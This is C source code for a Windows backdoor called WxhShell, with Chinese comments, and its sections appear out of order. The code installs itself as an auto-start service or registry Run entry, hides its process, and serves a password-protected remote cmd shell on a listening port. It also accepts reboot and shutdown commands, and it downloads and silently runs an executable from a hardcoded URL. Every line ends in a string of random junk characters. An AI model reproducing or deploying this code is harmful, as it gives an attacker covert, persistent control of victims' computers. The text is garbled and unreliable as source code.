    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EtJD'&  
    else { C5cFw/',  
    closesocket(wsh); z}D#WWSxf  
    ExitThread(0); Bg5;Q)  
    } 9W$m D w6f  
    break; [rc'/@L  
    } 8.PXTOhVL  
  // 获取shell cK/PQsMP  
  case 's': { 'aNahzb  
    CmdShell(wsh); JtThkh'-"  
    closesocket(wsh); ~T;K-9R  
    ExitThread(0); $+iu\MuX  
    break; WT I'O  
  } UP5%C;  
  // 退出 g<0w/n!jmC  
  case 'x': { N"&$b_u[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); </8be=e7p  
    CloseIt(wsh); -`,~9y;tx  
    break; \ YjB+[.  
    } {_": / A  
  // 离开 |+>%o.M&i  
  case 'q': { Z#srQD3].(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :v|r=#OI  
    closesocket(wsh); 2Zv,K-G  
    WSACleanup(); jq7vOr-_g  
    exit(1); b/T20F{W\o  
    break; D >psh- ,1  
        } F+lm[4n  
  } 0G~%UYB-  
  } !E4E'I=]N  
8L%%eM_O  
  // 提示信息 ?v0A/68s#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i528e{&  
} *>?):-9"6N  
  } =d:R/Z%,  
MoC*tImWR  
  return; =1V>Vd?8.  
} WO.}DUfG+  
!7kAJG g  
// shell模块句柄 IMl9\U  
int CmdShell(SOCKET sock) Qi(e`(,'  
{ kKFuTem_3  
STARTUPINFO si; ;m2"cL>{l  
ZeroMemory(&si,sizeof(si)); V{7lltu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hfl%r9o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Bbm7Gd  
PROCESS_INFORMATION ProcessInfo; E.5*Jr=J  
char cmdline[]="cmd"; x= vE&9_u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9RCB$Ka6X  
  return 0; Wl9I`Itg  
} 's56L,^:  
0+VncL)u  
// 自身启动模式 <;TP@-a  
int StartFromService(void) !."%M^J  
{ <:kTTye|  
typedef struct Y]`lEq%  
{ mcP{-oJ0W  
  DWORD ExitStatus; 5VoOJ_hq  
  DWORD PebBaseAddress; !h`cXY~ w  
  DWORD AffinityMask; {Q#Fen ;y|  
  DWORD BasePriority; SSA%1l 2!  
  ULONG UniqueProcessId; goBKr: &]w  
  ULONG InheritedFromUniqueProcessId; 0k] ju  
}   PROCESS_BASIC_INFORMATION; Jnu}{^~  
7E\K!v_  
PROCNTQSIP NtQueryInformationProcess; -x3tx7%  
#1,>Qnl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y9I #Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4%#V^??E  
]Gi+Z1q  
  HANDLE             hProcess; hq&  
  PROCESS_BASIC_INFORMATION pbi; m_PrasZ>  
7zJh;f/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oE|u;o  
  if(NULL == hInst ) return 0; cQ8$,fo  
kVG6\<c]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7}iewtdy,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `)( <g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A aF5`  
'#An+;x{  
  if (!NtQueryInformationProcess) return 0; ,$zSJzS  
e$xv[9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ymk4Cu.s  
  if(!hProcess) return 0; :.'T+LI  
j O5:{%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }5Tyzi(  
ZjI/zqBm  
  CloseHandle(hProcess); %]:vT&M  
]rX?n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (J;zkb  
if(hProcess==NULL) return 0; uI:3$  
w]5f3CIm  
HMODULE hMod; ~|B!. +  
char procName[255]; (a)@<RF`Q}  
unsigned long cbNeeded; -z~ V   
51;%\@=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z$m2rZ#  
x8rFMR#S=  
  CloseHandle(hProcess); p ra-8z-  
XL&eJ  
if(strstr(procName,"services")) return 1; // 以服务启动 d(B;vL@R2V  
u b>K^  
  return 0; // 注册表启动 o)' =D(  
} &=yqWW?  
-mYI[AG)  
// 主模块 fdEj#Ux<H  
int StartWxhshell(LPSTR lpCmdLine) "ZPbK$+=yU  
{ +?m=f}>W1  
  SOCKET wsl; \iLd6Qo_aq  
BOOL val=TRUE; _G8y9!J  
  int port=0; ="TOa"Zk  
  struct sockaddr_in door; pS)X\Xyw  
{ZYCnS&?CL  
  if(wscfg.ws_autoins) Install(); %fSk "%u%<  
*x` l1o  
port=atoi(lpCmdLine); p{#7\+}  
c94PWPU  
if(port<=0) port=wscfg.ws_port; OZ]3OL,  
vlKKPS  
  WSADATA data; "dU#j,B2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g_!xO2LH,8  
g wjv&.T6^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (C[S?@S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]CJ>iS!V  
  door.sin_family = AF_INET; w`Aw+[24  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jQlK-U=oi  
  door.sin_port = htons(port); lz5j~t5>Q  
\z?;6A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T`DlOi]Z_  
closesocket(wsl); %+JTQy  
return 1; mZ&Mj.0+~  
} T:n ^$RiT  
!8M'ms>s=  
  if(listen(wsl,2) == INVALID_SOCKET) { n>+W]I&E  
closesocket(wsl); XD>@EYN<X  
return 1; ?S7:KnU>K  
} Z- Ae'ym  
  Wxhshell(wsl); ,Yt&PE  
  WSACleanup(); $1 \!Oe[i  
'0]_8Sy&  
return 0; D[y|y 3F  
b,A1(_pzi  
} Q9V4-MC9  
X~4:sJ\P=  
// 以NT服务方式启动 PiQs><FK8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N4NH)x  
{ 6>A8#VT  
DWORD   status = 0; #ms98pw%5  
  DWORD   specificError = 0xfffffff; 1 niTkop  
73`UTXvWU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5!%/j,?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '2#fkH[.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #nhAW  
  serviceStatus.dwWin32ExitCode     = 0; #| Po&yu4R  
  serviceStatus.dwServiceSpecificExitCode = 0; FvP1;E  
  serviceStatus.dwCheckPoint       = 0; Vs{sB*:  
  serviceStatus.dwWaitHint       = 0; s3^SjZb  
K`<P^XJr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XITQB|C??$  
  if (hServiceStatusHandle==0) return; ITiw) M  
:gt wvM7/B  
status = GetLastError(); VG^-aR_F  
  if (status!=NO_ERROR) *k$&Hcr$  
{ ZQ/5]]}3y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "de:plMofy  
    serviceStatus.dwCheckPoint       = 0; jd*H$BU^  
    serviceStatus.dwWaitHint       = 0; w{IqzmPiH  
    serviceStatus.dwWin32ExitCode     = status; &x  #5-O'  
    serviceStatus.dwServiceSpecificExitCode = specificError; "$Q Gifb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Pwq`G A  
    return; v~3q4P  
  } V5MbWXgR  
+\Q@7Lj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -:q7"s-}b  
  serviceStatus.dwCheckPoint       = 0; i/Z5/(zF  
  serviceStatus.dwWaitHint       = 0; -9EbU7>!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c,^-nH'X>  
} ?K"]XXsI  
_De;SB %V  
// 处理NT服务事件,比如:启动、停止 x1h!_^(QfF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LTHS&3% 2  
{ 8iRQPV-"_  
switch(fdwControl) "mA/:8`Q  
{ l ki(_ @3  
case SERVICE_CONTROL_STOP: dXhV]xK  
  serviceStatus.dwWin32ExitCode = 0; C{-pVuhK+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3L|k3 `I4  
  serviceStatus.dwCheckPoint   = 0; 2S3F]fG0  
  serviceStatus.dwWaitHint     = 0; 2+HiaYDZ  
  { QHK$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ux=@"!PJ  
  } r|+Zni]  
  return; _+i-)  
case SERVICE_CONTROL_PAUSE: ( _2eiE71  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5VfP@{  
  break; O?_'6T  
case SERVICE_CONTROL_CONTINUE: \c)XN<HH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _" n4SXhq  
  break; jp|wc,]!  
case SERVICE_CONTROL_INTERROGATE: i~4Kek6,I  
  break; !?96P|G  
}; %zGPF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kI]1J  
} W!g ,  
N{'k ]&  
// 标准应用程序主函数 q:( K^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z(s} #-  
{ <mxUgU  
(/^&3xs9  
// 获取操作系统版本 ;Zw28!#Rt  
OsIsNt=GetOsVer(); -v:Y\=[\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZISR]xay  
#Xc~3rg9  
  // 从命令行安装 0o#lB^e;l  
  if(strpbrk(lpCmdLine,"iI")) Install(); oq|K:<l  
JO$0Z  
  // 下载执行文件 9X-DR  
if(wscfg.ws_downexe) { 8w\&QX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =y<Fz*aA  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]2<g"zo0  
} }.Ug`7%G  
P++gR@  
if(!OsIsNt) { ka(xU#;  
// 如果时win9x,隐藏进程并且设置为注册表启动 XjV7Ew^7  
HideProc(); hAY_dM  
StartWxhshell(lpCmdLine); V; ChrmE  
} Zy<0'k%U  
else _C##U;e!  
  if(StartFromService()) , vR4x:W  
  // 以服务方式启动 }5A?WH_  
  StartServiceCtrlDispatcher(DispatchTable); qU}[( 9~Ru  
else 6K,AQ.=V2  
  // 普通方式启动 x[_+U4-/  
  StartWxhshell(lpCmdLine); 8.vD]hO  
vnKUD|  
return 0; Y,+$vj:y8  
} 1(-)$m8}  
8garRB{  
P:Bg()  
LE Y$St  
=========================================== kw!! 5U;7  
(u~@@d"  
M]oaWQu  
Hi )n]OE  
<FP&1Eg!|  
1Ztoj}!I  
" Nkc=@l {  
aC;OFINK  
#include <stdio.h> ]@_*O$  
#include <string.h> 6<gh:vj  
#include <windows.h> Z[ys>\_To  
#include <winsock2.h> UZqr6A(/H  
#include <winsvc.h> )!3sB{ H  
#include <urlmon.h> &kh-2#E  
*!vwW T  
#pragma comment (lib, "Ws2_32.lib") .|!Kv+yD  
#pragma comment (lib, "urlmon.lib") )[>{ Ie2  
{"-uaH>,  
#define MAX_USER   100 // 最大客户端连接数 ]5wc8Kh"  
#define BUF_SOCK   200 // sock buffer ?nE<Aig  
#define KEY_BUFF   255 // 输入 buffer wgY: W:y'N  
N_wB  
#define REBOOT     0   // 重启 [$$i1%c%Z<  
#define SHUTDOWN   1   // 关机 ht)J#Di  
|pA3ZWm  
#define DEF_PORT   5000 // 监听端口 ji5c0WH  
Zh,(/-XN;  
#define REG_LEN     16   // 注册表键长度 (*F/^4p!$  
#define SVC_LEN     80   // NT服务名长度 ve<D[jQsk  
)17CG*K1  
// 从dll定义API F@UbUm2o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kocgPO5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q3T@=z2j%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t[VA|1gG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0.!_k )tu  
R `  
// wxhshell配置信息 2M@,g8O+B=  
struct WSCFG { V^apDV\AV  
  int ws_port;         // 监听端口 sN"<baZ  
  char ws_passstr[REG_LEN]; // 口令 HHzAmHt  
  int ws_autoins;       // 安装标记, 1=yes 0=no @~sJ ((G[5  
  char ws_regname[REG_LEN]; // 注册表键名 JS$ojL^  
  char ws_svcname[REG_LEN]; // 服务名 ,v,#f .  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ht pZ5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~>SqJ&-moo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pr-=<[ d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O/ybqU\7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :J6 xYy$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K,j'!VQA4g  
iC2``[m"  
}; zi%Ql|zI~  
/F@CrNFb(  
// default Wxhshell configuration 2fN2!OT  
struct WSCFG wscfg={DEF_PORT, z>lIZ}  
    "xuhuanlingzhe", h>k[  
    1, _3%eIyk4T  
    "Wxhshell", l$Y*ii  
    "Wxhshell", tzJ7wXRr  
            "WxhShell Service", +cWo^d.  
    "Wrsky Windows CmdShell Service", sD#*W<  
    "Please Input Your Password: ", D||)H  
  1, \?tE,\Ln  
  "http://www.wrsky.com/wxhshell.exe", hg7^#f95u  
  "Wxhshell.exe" *q;u%; 4  
    }; \Vb|bw'e(  
g>E.Snj}  
// 消息定义模块 T {:8,CiW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q?y-s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |W*#N8I P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q2qT[aD,  
char *msg_ws_ext="\n\rExit."; TrPw*4h 9s  
char *msg_ws_end="\n\rQuit."; hh!4DHv   
char *msg_ws_boot="\n\rReboot..."; 18,;2Sr44  
char *msg_ws_poff="\n\rShutdown..."; ;oCSKY4  
char *msg_ws_down="\n\rSave to "; ^u(-v/D9  
XFSHl[uS1  
char *msg_ws_err="\n\rErr!"; \AeM=K6q+D  
char *msg_ws_ok="\n\rOK!"; ;F|8#! (  
s}qtM.^W  
char ExeFile[MAX_PATH]; 8 qlQC.VA[  
int nUser = 0; i^@hn>s$  
HANDLE handles[MAX_USER]; s~06%QEG  
int OsIsNt; RiG]-K:  
;;S9kNp^v  
SERVICE_STATUS       serviceStatus; ~6=aoF5"3?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O1Ynl` }  
n"w>Y)C(X)  
// 函数声明 <ivq}(%72  
int Install(void); 1}R\L"  
int Uninstall(void); ` ZBOaN^if  
int DownloadFile(char *sURL, SOCKET wsh); L8J] X7  
int Boot(int flag); Q[c:A@oW  
void HideProc(void); `-MCI)Fq_R  
int GetOsVer(void); ,]tEh:QC  
int Wxhshell(SOCKET wsl); 3N ?"s1U  
void TalkWithClient(void *cs); @HE<\Z{ KI  
int CmdShell(SOCKET sock); Z.`0  
int StartFromService(void); {A~3/M%74;  
int StartWxhshell(LPSTR lpCmdLine); woa|h"T  
>}B53.;.k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +&r=XJ5:`p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CF6qEG6  
h.\p+Qw.  
// 数据结构和表定义 tkQrxa|  
SERVICE_TABLE_ENTRY DispatchTable[] = \0K&2'  
{ ~x[(1  
{wscfg.ws_svcname, NTServiceMain}, F$ckW'V  
{NULL, NULL} x \I uM  
}; F-XMy>9  
CDY3+!  
// 自我安装 g'Wr+( A_  
int Install(void) LVy`U07CV  
{ 1)5/a5  
  char svExeFile[MAX_PATH]; XT \2  
  HKEY key; ^A=2#j~H\  
  strcpy(svExeFile,ExeFile); pd|l&xvka  
RBHU5]5  
// 如果是win9x系统,修改注册表设为自启动 3vkzN  
if(!OsIsNt) { )LsUO#%DO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >%5GMx>m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \p%D;g+c  
  RegCloseKey(key); TrNh,5+b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;X:Bh8tEV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~i.rk#{?D  
  RegCloseKey(key); Zq 'FOzs  
  return 0; XtE O)  
    } R2Lq??XA=  
  } |WNI[49  
} efuiFN;  
else { >|0 I\{ C  
M,cz7,  
// 如果是NT以上系统,安装为系统服务 WR u/7$8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nrq/Pkmy  
if (schSCManager!=0) L8oqlq( 9  
{ dA<SVk*0Q  
  SC_HANDLE schService = CreateService p}JGx^X ~  
  ( jAovzZ6BL  
  schSCManager, ;2[OI  
  wscfg.ws_svcname, sGh TP/  
  wscfg.ws_svcdisp, 3HNm`b8G4m  
  SERVICE_ALL_ACCESS, PP/#Z~.M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8Q0/kG  
  SERVICE_AUTO_START, 7<(kvE*x  
  SERVICE_ERROR_NORMAL, Iu(]i?Y  
  svExeFile, Ft}nG&D  
  NULL, @:@5BCs<  
  NULL, F&Rr&m  
  NULL, ] VEc9?  
  NULL, FE:} D ;$  
  NULL n0t+xvNDF_  
  ); R8YU#D (Q  
  if (schService!=0) b8[ ayy  
  { &i6JBZ#~,  
  CloseServiceHandle(schService); jthyZZ   
  CloseServiceHandle(schSCManager); y5?kv-"c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gc b8eB ,  
  strcat(svExeFile,wscfg.ws_svcname); n?S)H=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hpq\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o#D'"Tn!  
  RegCloseKey(key); UMMGT6s,E8  
  return 0; dz/3=0  
    } WpMm%G~'4t  
  } _bv9/#tR  
  CloseServiceHandle(schSCManager); yNG|YB;  
} + (`.pa z@  
} aU$8 0  
U} Pr1  
return 1; )EcfEym.>  
} i&<@}:,  
d" a\`#  
// 自我卸载 2+K - I  
int Uninstall(void) vq\L9$WJ  
{ kLXa1^Lq  
  HKEY key; c0_512  
n" vO?8Sx  
if(!OsIsNt) { 1M?Sl?+j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ >#y*W<  
  RegDeleteValue(key,wscfg.ws_regname); k`\L-*:Ji  
  RegCloseKey(key); d_ &~^*>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  {+gK\Nz  
  RegDeleteValue(key,wscfg.ws_regname); hD,xJ]zv1  
  RegCloseKey(key); R[#B|$  
  return 0; G*-7}7OAs  
  } ' R= OeH  
} 51;Bc[)%  
} PpSQf14,  
else { Qe]&  
20M]gw]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (%fSJCBl[P  
if (schSCManager!=0) yoTx3U@  
{ "msPH<D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nig)!4CG  
  if (schService!=0) z:08;}t  
  { C2L=i3R  
  if(DeleteService(schService)!=0) { l HZ4N{n  
  CloseServiceHandle(schService); D&6.> wt .  
  CloseServiceHandle(schSCManager); {!pYQ|#  
  return 0; iH-(_$f;  
  } <}%gZ:Z6g  
  CloseServiceHandle(schService); 7V"Jfh4_  
  } T1RICIf 1F  
  CloseServiceHandle(schSCManager); j^Ln\N]^  
} <fDbz1Q;l  
} yq`  ,)  
7[M@;$  
return 1; (V`ddP-  
} D)eRk0iC  
2'?C  
// 从指定url下载文件 <7j"CcJzZ  
int DownloadFile(char *sURL, SOCKET wsh) W"s)s  
{ Lnl-han%  
  HRESULT hr; iv6bXV'N  
char seps[]= "/"; 3`ze<K((  
char *token; M:%Ll3  
char *file; k-$J #  
char myURL[MAX_PATH]; ::Pf\Lb>  
char myFILE[MAX_PATH]; lH>6;sE  
 \>e>J\t:  
strcpy(myURL,sURL); B(pHo&ox  
  token=strtok(myURL,seps); U5j0i]  
  while(token!=NULL) tBE-:hX*  
  { U,,rB(  
    file=token; -raZ6?Zjc  
  token=strtok(NULL,seps); V`LW~P;  
  } wKy4Ic+RV  
> V@,K z1  
GetCurrentDirectory(MAX_PATH,myFILE); mtNB09E(  
strcat(myFILE, "\\"); fXAD~7T*s  
strcat(myFILE, file); KI5099_/  
  send(wsh,myFILE,strlen(myFILE),0); =5M '+>  
send(wsh,"...",3,0); +fq;o8q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uF]+i^+  
  if(hr==S_OK) 4?~Ei[KgQn  
return 0; Jl89}Sf  
else h>"Z=y  
return 1; A Zv| |8p  
7`K)7  
} v0 |"[qGb  
90+Hv:wF  
// 系统电源模块 20mZ{_%  
int Boot(int flag) qAuq2pHA+d  
{ ,9/s`o  
  HANDLE hToken; Py#iC#g~  
  TOKEN_PRIVILEGES tkp; Rj,M|9Y)o  
:,=Z)e  
  if(OsIsNt) { edh<L/%D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o`[X _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s B!2't  
    tkp.PrivilegeCount = 1; zy[|4Q(?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c#(&\g2H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eR5+1b  
if(flag==REBOOT) { M.}QXta  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \( xQ'AQ-  
  return 0; Jl,\^)DSw  
} [{9&KjI0K  
else { DX#F]8bWl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CI,xp  
  return 0; Nh\y@\F>  
} =6+j Po{F  
  } bLyG3~P;0  
  else { `o!a RX  
if(flag==REBOOT) { ' k[gxk|d2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MBH/,Yd  
  return 0; yj{:%Km:`  
} ,@*`2I>`  
else { t ~"DQq E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f^X\N/  
  return 0; UQ 'U 4q  
} dbLxm!;(  
} },LW@Z}  
R!LKGiN  
return 1; Y^f12%  
} LlG~aGhel  
;]^JUmxU[d  
// win9x进程隐藏模块 CiGN?1|  
void HideProc(void) F /:2+  
{ /1q] D8  
> ak53Ij$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7eg//mL"6  
  if ( hKernel != NULL ) &Wup 7  
  { 8h2!8'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Pa jBEF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ Qt$)  
    FreeLibrary(hKernel); {XNu4d9w(  
  } 3It'!R8$  
 VSkx;P  
return; V-w[\u  
} PF(P"f.?D  
4&/-xg87(  
// 获取操作系统版本 J ZQ$*K  
int GetOsVer(void) lA<IcW  
{ P( W8XC  
  OSVERSIONINFO winfo; .W&rcqy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r(yb%p+  
  GetVersionEx(&winfo); ~>)GW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .j4IW 3)  
  return 1; !m1pL0  
  else |C S[>0mV!  
  return 0; g5to0  
} 6P;1I+5m{q  
D] 2+<;>`>  
// 客户端句柄模块 B%9[  
int Wxhshell(SOCKET wsl) $hO8 S=  
{ ]IJ.}  
  SOCKET wsh; y\ @;s?QL  
  struct sockaddr_in client; ' n~N*DH  
  DWORD myID; N2tvP+Z6D  
%2oLND}?z  
  while(nUser<MAX_USER) *(d^ k;  
{ s:cS 9A8  
  int nSize=sizeof(client); W9V%Xc`LQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L i=l/  
  if(wsh==INVALID_SOCKET) return 1; uW[s?  
<z)MV oa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aM.l+D P  
if(handles[nUser]==0) ;Xgy2'3  
  closesocket(wsh); %_SE$>v^  
else }+#ag:M  
  nUser++; NM ~e  
  } _I|wp<R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4b3p,$BWS  
5'V'~Q%  
  return 0; 0#*\o1r\p  
} ",8h>eEWK  
6nGDoW#  
// 关闭 socket #^#)OQq]  
void CloseIt(SOCKET wsh) !b _<_Y{l  
{ ;co{bk|rj  
closesocket(wsh); x5`q)!<&  
nUser--; e$>5GM  
ExitThread(0); N{p2@_fnB  
} 6u:5]e8  
XcfTE m  
// 客户端请求句柄 "hlIGJ?_=  
void TalkWithClient(void *cs) H V   
{ B4|% E$1+  
"F[VqqD  
  SOCKET wsh=(SOCKET)cs; zLh ~x  
  char pwd[SVC_LEN]; *.nqQhW  
  char cmd[KEY_BUFF]; {8B\-LUR  
char chr[1]; o!\O)  
int i,j; p-(Z[G*  
:Dr& {3>  
  while (nUser < MAX_USER) { vCpi|a_eCu  
<RhKlCP  
if(wscfg.ws_passstr) { hU=J^Gi0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zw5~|<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M2zfN ru  
  //ZeroMemory(pwd,KEY_BUFF); Bnxzy n  
      i=0; v"F0$c  
  while(i<SVC_LEN) { ^c(PZ,/#JB  
5W{>5.Arx)  
  // 设置超时 A|>C3S  
  fd_set FdRead; %MjPQ  
  struct timeval TimeOut; n~)Y%xe[U  
  FD_ZERO(&FdRead); uRL3v01?H0  
  FD_SET(wsh,&FdRead); a<Ns C1  
  TimeOut.tv_sec=8; y1 }d(%  
  TimeOut.tv_usec=0; l.34h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d#b{4zF"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h ?ia4t  
0zTv'L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wig0OZj  
  pwd=chr[0]; <HzAh<_@F  
  if(chr[0]==0xd || chr[0]==0xa) { Asn0&Ys4  
  pwd=0; DS$ _"'g%i  
  break; KOmP-q=6  
  } W8P**ze4)  
  i++; gP`!MlY@  
    } n5JB'F)  
Y(:OfC?  
  // 如果是非法用户,关闭 socket G^(&B30V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kCwTv:)  
} bK].qN  
"aBd0i&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )4`Ml*7x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dI 5sqM:  
8x9kF]=  
while(1) { |be r:1  
#VOjnc/rW  
  ZeroMemory(cmd,KEY_BUFF); ~4>Xi* B  
4y1> !~f  
      // 自动支持客户端 telnet标准   kr*c?^b  
  j=0; _ <;Q=?'*  
  while(j<KEY_BUFF) { eb/V}%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )PG,K 4z  
  cmd[j]=chr[0]; NDOZ!`LqH  
  if(chr[0]==0xa || chr[0]==0xd) { %)/f; T6  
  cmd[j]=0; IP'igX  
  break; bSr 'ji  
  } |tg?b&QR  
  j++; g&Z7h4!\  
    } baNfS  
0v@/I<  
  // 下载文件 ?:?4rIZ<  
  if(strstr(cmd,"http://")) { nFfCw%T?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rEhf_[Dv  
  if(DownloadFile(cmd,wsh)) <]'"e]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eCp|QSXE  
  else VDTY<= Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gx*rSS?=N  
  } \ZFQ?e,d  
  else { %]ayW$4  
&#@>(u: .  
